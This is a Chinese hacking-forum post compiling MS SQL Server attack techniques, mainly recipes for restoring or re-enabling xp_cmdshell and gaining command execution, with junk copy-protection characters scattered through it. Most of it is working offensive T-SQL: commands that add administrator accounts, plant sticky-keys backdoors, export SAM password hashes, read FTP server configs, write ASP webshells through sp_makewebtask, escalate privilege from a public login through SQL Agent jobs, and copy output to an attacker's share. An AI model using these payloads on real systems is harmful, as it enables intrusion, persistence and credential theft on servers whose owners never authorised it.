找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2212|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号1 Q+ H* Q2 e% i0 d, ^
恢复方法:查询分离器连接后,
! d1 E( r" A* i* T8 h3 Q第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
4 |* V  {2 V9 g" J6 ?( r# B第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  F% `1 Q3 k5 o7 k) W  w( c然后按F5键命令执行完毕
. T/ Z% d+ x: j+ M. X# B  l& F% w6 B+ M: `9 u
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)! r) r0 t# c$ p% L7 A
恢复方法:查询分离器连接后,2 a, R) p' v$ {/ q4 Y3 }- n  |" T/ u: A' M
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
6 a4 z5 F7 A. l- d! Y第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2 D* p# k$ ~  j0 Z( L
然后按F5键命令执行完毕  c% v5 {9 a" a( ]' S/ h# h
7 `. o2 Z. O/ _, u$ n$ c
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
- H- g4 l( _* d; s2 i3 d: d恢复方法:查询分离器连接后,
0 }* K" B7 T& ]5 b% h第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
; z2 m. t1 c9 u- ~' p第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
% @% P9 Q& ?5 d$ G6 c4 B然后按F5键命令执行完毕0 C: w( V# ~; x1 ~

0 ?& }. B" k/ c1 a% C8 ^9 j4 终极方法.4 E$ k% {& {1 k
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
- M  h3 q. E: j5 U3 H查询分离器连接后,
, k; f: [1 U$ F8 b2 I+ C! R, w2000servser系统:
& `: x1 p/ m! ?& z) z3 r# gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
1 S0 b- E5 R# n
# ~5 N  ]  M/ u0 Qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'( o. _& }% w% i# s
$ a$ E1 }" U) u4 k: b8 m2 w+ s
xp或2003server系统:
- I3 Q+ R( M- C- a0 R2 }0 [* f) \5 j. L( n2 r( k; _/ |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
, S/ P7 M  O" m) W( j* B4 j2 h- r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'4 ]  ^* ~3 {! n3 G, [4 Z8 m: a% W' R
+ q  u; N2 M6 z; j; Q" k
$ V) |; \9 A% G+ A0 H+ Z0 s! Y
五个SHIFT( h5 y' M0 _4 m: N
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';) V, O; [0 x0 d8 I4 z  p

" e+ t9 X) g$ u% w( |. cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 2 {( q+ I. C9 y# d0 Z" j+ T
5 s& y" d9 k- S0 y3 O2 H
xp_cmdshell执行命令另一种方法# t, ^  n# h3 x+ i
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 3 n9 Y" ~5 b( }- }7 K6 a

4 x0 _7 [" [" z+ z: i判断存储扩展是否存在2 I; q& ]2 ~3 n: f4 k: ?7 Q
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'8 ?; c8 v; x" p8 T+ x3 B
返回结果为1就OK
% u( o" y3 b* ~: P6 v: z& V  z
* d2 \# F) g3 A$ H) F6 ^. T7 I: |- J7 P
上传xplog70.dll恢复xp_cmdshell语句:( ]/ ]8 o! m8 |: E5 k
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'% z4 K+ ?* ]9 M" N# Q
. P+ K2 s0 Q0 q$ p* ~6 W
否则上传xplog7.0.dll  B1 e; U) N2 ~8 w* n* e8 o6 b
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'* T) m. L3 n' Y, c6 L3 R

- W3 `- _6 @; D; e. L
8 G( \% S' F9 X6 F
& ?) Y5 S5 c' l% Z5 F首先开启沙盘模式:
! Y# ^' W$ C. _; Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
8 H" u0 r( ^& z$ P1 ~+ a; I4 ]6 `: Y! E8 t3 O. R; \! h& Y* `# k
然后利用jet.oledb执行系统命令
9 d0 V' X  s: Y6 q3 {$ |select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')& b. H7 a1 D/ k- D  Z2 ~
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
& B' M. l& B. O3 ^7 l& Q+ }* a( a1 J
# o0 E1 ], F; X5 M3 Q8 T4 R8 V0 Q( t
7 p8 A; F' @1 m  U& Z5 q% W6 `7 L: k2 R
恢复过程sp_addextendedproc 如下: ; v4 L. j( U& S# f# L
create procedure sp_addextendedproc --- 1996/08/30 20:13
. \# I' d' `- Q@functname nvarchar(517),/* (owner.)name of function to call */ ; h$ w% \" A: y- _4 I
@dllname varchar(255)/* name of DLL containing function */ 0 M& U& N3 x+ I! y& u
as 4 q3 P# W2 v7 o1 {1 @( Z
set implicit_transactions off
; w$ r/ ^8 s1 W6 G6 A5 G( xif @@trancount > 0
) z9 l) I. \3 ^5 |2 qbegin
/ g) V$ k* A- I: X% x# _raiserror(15002,-1,-1,'sp_addextendedproc')
+ J# l; j+ c: J0 Creturn (1) , l% ~' a/ x7 S( u. ]
end 5 X4 i  w0 @* z9 x2 X  ^
dbcc addextendedproc( @functname, @dllname) , a* P* o" O# @% z0 T  t
return (0) -- sp_addextendedproc 9 [- L( W; J  e* M+ G, ]
GO
7 }3 _$ j& X) j  A8 H; m% I3 Q% n9 J" K: F
  s9 X1 V5 K% T
+ o9 H4 J. X9 n& u6 }' e2 _
导出管理员密码文件
7 [0 J3 A- H, k2 P0 e. A- ^" hsa默认可以读sam键.应该。
, ~- N8 k+ c  l6 k. @reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
5 t0 M. ]7 z9 o# h# e% Wnet user administrator test" q2 h; V" U" q) X
用administrator登陆." U, U# L( _2 w. e
用完机器后- E8 l4 d/ {7 B. S
reg import c:\test.reg+ @2 t3 J6 }& R& d% ^; v5 A4 ~) y
根本不用克隆.% E7 ?) s( x# B; T. `5 l9 ^
找到对应的sid. , m/ V: U( @7 u( d$ D6 t
  e( k5 ~1 y  ~1 u

. r# A- s) o; W) R5 g$ I( C! T) o% O' y% S* g' S$ f8 N
恢复所有存储过程
* J$ j, E) o" K, `5 puse master 6 R$ v4 M3 ~6 E1 l: t% B8 D
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
4 {  ~* V' N" U" t: V) S: Gexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 4 }* v$ e2 G6 K+ a* G4 W6 Q7 {
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
$ b' F5 O' H$ W$ pexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' $ o4 R$ f+ A1 v: L; o# h
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ i# J* N$ T$ J! H! y7 f( e
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
' g+ a& j$ }. T$ U1 J- R0 A( Qexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
7 C# i( J) i: L1 Z' N$ S: h, ?( h1 iexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ; N# |5 k. a9 A. ]. j0 B
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ! j" ~. [# \+ {
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 1 {4 ]2 i3 v5 b$ \3 m, n
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 0 @  s1 B: s/ L( [) s
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
8 e; {1 t$ A/ f0 a3 i- Rexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' # _$ j9 h6 V4 \# j
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' / D( C5 _; j( j/ r  l2 b+ }9 N
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
% N/ o9 Z8 l0 P9 l, ]$ hexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 0 D$ s- f& Q, p; R& g4 a- h9 U
exec sp_addextendedproc xp_regread,'xpstar.dll'
# J- @# z3 ^% d$ z( bexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' & V, l" e) w7 q9 p  c4 t
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ) `8 Q! w6 t- g: @$ k% {1 V7 W5 M
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
3 U. ]3 O9 v% ]  k) c0 k" ~& @* P5 |2 r: }) W0 q
2 T& n2 Y7 N: ^8 }! P0 H/ Y
建立读文件的存储过程
' I6 t3 Y* @3 S2 r  xCreate proc sp_readTextFile @filename sysname4 D. \9 L5 t: u- c3 R
as
3 N. S1 S- l/ g% \
1 N- @! {# e( r5 {9 c; k) B    begin
5 ?$ G% A4 K5 A2 K2 ~  R1 X; J! f    set nocount on 7 w+ m4 v- e: G" l7 L
    Create table #tempfile (line varchar(8000)), z' p+ Q0 X2 W( I) A
    exec ('bulk insert #tempfile from "' + @filename + '"'). l1 O' T/ a$ Z  d  z
    select * from #tempfile
" Q* J# V0 ]6 q4 J# x6 y1 n: R: J    drop table #tempfile& \. I$ T, p, P0 @) o# v$ O* S
End5 `) R# e7 g5 K# D* F4 B( z0 r$ J& O
3 Y4 r+ {2 J$ d& H) Y  t
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
- Q1 a+ N) _5 g查看登录用户# i' j  ]( e0 z! k* G/ B6 }
Select * from sysxlogins1 w! B, D, Q( s1 \3 N
, X/ w3 m% H; _5 f- d) `# x
把文件内容读取到表中5 j% b  j# h( T  ^1 ?
BULK INSERT tmp from "c:\test.txt"
, y% a  H$ V6 g: ?7 H6 DdElete from 表名 清理表里的内容4 `0 f4 K- d' r9 Q
create table b_test(fn nvarchar(4000));建一个表,字段为fn
9 i6 f' b" `" ~! {
1 }$ h9 M) H6 z) `# R% M6 R
9 W/ r9 C! b5 U  G, p加sa用户2 o' `1 R; b/ q8 V  m$ O
exec master.dbo.sp_addlogin user,pass;9 L5 S; `6 w& u( u
exec master.dbo.sp_addsrvrolemember user,sysadmin, q. V2 ?' |1 R/ O8 T6 r/ a4 h' |

% S' x( i0 z+ m8 u: P
1 v8 T. ?: C) M$ x5 e' A* G2 x+ e) g9 }
读文件代码: E. H% a$ ^: s7 W0 H8 d1 y1 J/ Z2 m
declare @o int, @f int, @t int, @ret int
6 S* ^5 h3 b* c& O$ J# f# Wdeclare @line varchar(8000)4 J8 U! G; ~' J9 g6 n: g- u4 q
exec sp_oacreate 'scripting.filesystemobject', @o out
9 b* v( _4 C  @1 _" }3 Xexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 14 o: X8 [2 ~; C' n9 W
exec @ret = sp_oamethod @f, 'readline', @line out0 T, A$ Y9 z2 H! }7 |
while( @ret = 0 )
0 j' R2 ^7 e" f  P  j8 X" _begin
7 Y: ~. \/ r' N& B4 o; _/ _print @line; G$ w1 Z8 w7 D  b3 t8 T; c! F
exec @ret = sp_oamethod @f, 'readline', @line out  @$ ]3 s% @1 W' U; K
end
( `  r# E) _; K+ U# k
; L2 y% G  G" u* Q+ S0 [
0 }* x6 V# |$ S6 t9 F写文件代码:5 k' j1 f$ P9 u  b# J" o
declare @o int, @f int, @t int, @ret int
7 V& B. [, O/ S5 c. {8 ]exec sp_oacreate 'scripting.filesystemobject', @o out+ P; P2 b6 k  E" e( s! x$ E
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1* G( B3 S2 k( s4 B5 K3 M
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》: ^* f  U( E) [; u

" N+ m7 A: j1 f+ W8 o) d' K4 ^
: T0 [* Q7 \3 G8 q+ d7 r添加lake2 shell
/ ~- [: v8 m% w3 Vsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
0 y; U- k( c' Z2 Tsp_dropextendedproc xp_lake2
! R2 G9 F4 |5 G" ?5 yEXEC xp_lake2 'net user') ]0 T2 X1 F6 o: n" j

% z9 Z% @. \/ F. a: _& v/ L
7 c( b# o2 _3 ?& r& }  h得到硬盘文件信息 2 i& g% p8 d( R) \2 M" |
--参数说明:目录名,目录深度,是否显示文件 3 q9 d6 y' g1 z3 l4 L! _$ j) ~& w
execute master..xp_dirtree 'c:' * z+ ^6 \' Q3 `" c# |7 c
execute master..xp_dirtree 'c:',1 / C+ Q; I' A- H! w
execute master..xp_dirtree 'c:',1,1 5 }: u* J$ t/ {

3 |5 a& g5 u5 w2 ?" I3 c  K, q2 p7 \1 Z. O6 t0 b
读serv-u配置信息
5 S, I) Z" l% G6 uexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'+ Z; w1 I8 }  Y. C: {" u' N8 A5 I5 Z+ B
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
8 Q: M" ~8 R+ A( |6 d) ?0 `" H
" t. [. [- K4 \# i2 T. \" _通过xp_regwrite写SHIFT后门
+ U  a( D5 m8 j" t, d6 aexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
& A% j% s9 h! R3 m
3 ^+ k5 e% T' W0 a/ }8 k. P( x4 e- e- `, b4 L" I2 ?
* R; L/ q" \5 v3 H5 u7 ^! j/ c
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
) E+ h+ b" L+ \* Cexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了* n( V6 M4 L+ H9 t9 d/ w7 t

6 e9 i8 ?" G! w$ I+ {# e* X# Y3 }EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'5 {) A6 M4 H/ J. ]
: f$ o5 ~* P% S2 p7 d: d  G0 s
8 ?* Q8 b. j; m- c, [
( ^5 G6 T/ n  s/ n& U) d/ v
sql server 2005下开启xp_cmdshell的办法. ~* Y9 N0 o) e6 s# s5 `
. q. i# ?- S5 D4 K- K
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
6 R! J- q( v! ?7 b' [  a
2 m9 A; r$ d* R0 q* TSQL2005开启'OPENROWSET'支持的方法:4 {. X. C! ], H7 t6 K

: e  i7 o: A2 F3 ?7 z5 U. qexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;& s) z* \8 u6 Y9 H+ b8 j
: F+ T. T: T5 ]1 Z3 x4 l' U
SQL2005开启'sp_oacreate'支持的方法:% m2 `: `: R, H: \2 i, i
6 S( P& M& ?# k! y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
) {' M4 s" W7 D$ C! n" k% V3 H: O: |
' n% ?) |4 s! ~; R# b
. O9 v, n9 O2 B" y/ u0 b; A9 f
. d' g$ ?3 m% y! G! [
9 z0 m- l1 K" E1 ~" ~3 F
6 n5 C& \2 Q. S8 \) ?8 l7 r3 F) M

; X) X4 W# V3 U. }) B; v# O
* i: {5 @! N( N4 v2 R
- P) u3 D6 p2 Z* {- @7 ^9 r3 n
4 b! V& T3 }( o6 q& I% T6 ^2 s

; b2 ]1 }- \* f4 d9 |# c2 }: \1 `1 o, n" Q) k" B

' N9 D9 f7 n+ B9 q: l2 R' N, a, _6 |9 u3 d
  z5 |( \# z2 G* |
, B3 q- q: C. B! |
7 @: P* {* B; z: _) B/ I

5 c% ?3 ^( j$ j8 P( @3 K* f: W% p- ?9 t

6 v. y7 [* Q/ e" X' i: D$ Z( {
* {# w6 F5 S) l/ ?% q
* ~" `0 R7 t, }1 H- t
/ x$ w& D" L' c0 O以下方面不知道能不能成功暂且留下研究哈:- O5 S1 I! ?) @+ ]; e
4)
  y+ g7 w2 h+ a2 N$ p+ A. b; Fuse msdb; --这儿不要是master哟
# x7 R( ~' e  J% X- ^exec sp_add_job @job_name= czy82 ;
( i! b7 h- r3 m  P1 z, Yexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
3 A  N) Z: c5 h$ X. M' |) ?0 R( rexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;2 r! b9 O( a9 L/ L$ n
exec sp_start_job @job_name= czy82 ;7 ^" E1 F( T- ]  \, B& w
6 B! Z( E" [% z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
+ v: w* J& T1 g: P: ?执行tsql语句了.
! P2 i8 S$ R/ F+ o! q, w/ l# l% g对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名  F- o. _, R) M4 H! U+ @+ g5 e
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)/ v# }" t+ S2 i2 c# Y  s5 I5 k6 K. w  \
net start SQLSERVERAGENT
! ?! S6 E" R* g/ O  m1 a+ O! \: |. D, x7 O- ?
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
' X) T# g) I- B' L! z! rUSE msdb
. v" J+ S2 X, e2 C. HEXEC sp_add_job @job_name = GetSystemOnSQL ,
! T& f, b$ E3 r+ _+ u" X@enabled = 1,1 Q+ q  w0 \: `* O; V- Q( b9 Q
@description = This will give a low privileged user access to3 `+ h& }" s. \/ _* k
xp_cmdshell ,
& C' q+ |) W, m+ T. u, _8 f3 D@delete_level = 1& v0 U5 Q. c* q1 ^8 k. T& V
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
2 }1 y+ ?9 [, C+ I6 t( A  W@step_name = Exec my sql ,3 K. F; m' U; U( |. q
@subsystem = TSQL ,
. d  n9 g% X8 Z: t@command = exec master..xp_execresultset N select exec; {! R% P( t, b8 t- r- z$ v
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 1 C1 D* U6 G, x9 V2 u( t0 u) U
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,( o) L1 ?' j9 o2 G1 e
@server_name = 你的SQL的服务器名
8 x5 B3 }( t* K; T2 n0 @EXEC sp_start_job @job_name = GetSystemOnSQL 3 R' M0 g0 J5 K" Y
/ C  h$ c7 V3 @+ R, m  U7 W
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以0 h0 x2 B9 E& ?0 h) ?
才让我们可以以public执行xp_cmdshell
  B) g3 F4 E( U6 L- u8 X+ C9 r9 ~8 O; K2 ?0 U( o" a
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)% C( W+ H: R. _8 P, [
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968$ R( P) n* W1 S; G

. x1 s8 ]; ^. F8 _$ T0 LUSE msdb
  l- g+ D1 O% E( a0 P6 V2 m9 JEXEC sp_add_job @job_name = ArbitraryFilecreate ,
! R; C8 Q3 M0 [0 x' ]@enabled = 1,, b( q# m9 @. Z  N
@description = This will create a file called c:\sqlafc123.txt ,5 l( {5 v4 W* _% f4 E
@delete_level = 13 Q  ^) L( K4 ]; M
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
( P6 y* b. |9 h* _( u; F1 m@step_name = SQLAFC ,
  _  Z) b% p% b1 [9 L@subsystem = TSQL ,
! w. h& u4 Q( N# ?@command = select hello, this file was created by the SQL Agent. ,' K$ [/ m* ?1 t8 t) ~' o, q
@output_file_name = c:\sqlafc123.txt $ K2 H& O* }0 N0 T5 v9 E
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,9 [+ @, i+ _0 ~
@server_name = SERVER_NAME
  E4 s& R( A. z+ Z$ u( b  f. g+ PEXEC sp_start_job @job_name = ArbitraryFilecreate ! h3 {. d3 Y( `, _6 c; I
' e2 _' Y1 r2 {- B$ v
如果subsystem选的是:tsql,在生成的文件的头部有如下内容1 S! G( J8 {' t  E2 |5 P

9 B; i: P2 j. u; B??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19# K" ?  q. B% X$ N  A
----------------------------------------------* o- X% t, L% @$ M& c  L  F/ b% g0 t
hello, this file was created by the SQL Agent.% p( k7 X3 b1 ^5 G6 R0 N! e

/ Y/ T, Z' E5 |) A, [4 [) Y0 p(1 ?????)7 O' v' {& K/ |& H5 c) ]" Q9 T  u

$ d0 C3 H- ?5 B1 `所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) f$ K5 i& {4 b6 g9 r0 T
命令的vbs文件到启动目录!
# D. o) M7 o9 P7 `
# d+ R/ \; _9 n! ]; \6)关于sp_makewebtask(可以写任意内容任意文件名的文件)' S7 K6 }+ S0 ?7 n, h
关于sp_MScopyscriptfile 看下面的例子) }  ^* g* T- U4 j/ V2 Z- {
declare @command varchar(100)
, K& n& U' `, A( z4 qdeclare @scripfile varchar(200)
( @+ x4 P) y8 }5 H5 N; e) Z# H5 Bset concat_null_yields_null off
/ C% c3 v/ b) {  j( E$ G) n1 Qselect @command= dir c:\ > "\\attackerip\share\dir.txt" : H6 e( y5 A0 f- Q
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
- S0 ^$ P* O3 m# C  a- L6 Z, |exec sp_MScopyscriptfile @scripfile , - W) U! ^. ?& U7 I
3 `! P2 I1 i" u: A: I
这两个东东都还在测试试哟
+ O1 O/ K5 B7 [让MSSQL的public用户得到一个本机的web shell: b) |8 n! P  R" w, E

5 r- t, N7 X" s3 p& T$ g- Q" w( X6 Y! jsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,: T; R4 {* e9 H/ [7 h; d
--@query= select <img src=vbscript:msgbox(now())>
# z' z0 v4 t- k* E* [" ~--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 5 O8 h' B' l0 K" t1 I
@query= select
; w8 \# X& ?; _2 B+ Z* ]5 ^<%On Error Resume Next 4 ^  y- _! h2 M- C. h& |8 [2 l
Set oscript = Server.createObject("wscript.SHELL")
1 B4 L; P5 G; y; S2 j, cSet oscriptNet = Server.createObject("wscript.NETWORK")
5 J  B0 i( ~5 ?Set oFileSys = Server.createObject("scripting.FileSystemObject")
8 n# ~. t( j% AszCMD = Request.Form(".CMD")
' j& A3 _$ c7 [If (szCMD <>"")Then
) [. t! _) `; @; l* E  KszTempFile = "C:\" & oFileSys.GetTempName()
: A1 k7 d6 o, f1 ]9 c, i2 NCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)   |/ K: v2 a% w5 h7 K% h5 x2 r
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)   i4 }, M2 M8 J. \6 N* o3 ?
End If %> - g# ], V$ T! X* _
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> % h5 G9 _# M/ X4 k9 F7 z8 R1 b, D
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> / w) W6 O/ B7 m, ?
</FORM><RE>
  v/ Y0 F* X  B+ A& T<% If (IsObject(oFile))Then 4 e3 q8 t8 x2 R7 G1 P0 {
On Error Resume Next
& p2 K' c$ S4 [% [8 MResponse.Write Server.HTMLEncode(oFile.ReadAll) 2 _1 v3 N2 \" }
oFile.Close
4 j) s& T" N! k/ |" C  ACall oFileSys.deleteFile(szTempFile, True) 7 n( B$ G* V+ N7 w; L; r
End If%> / P  H2 Q5 j7 L0 A. ?
</BODY></HTML>
/ R; I* v& Z# a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表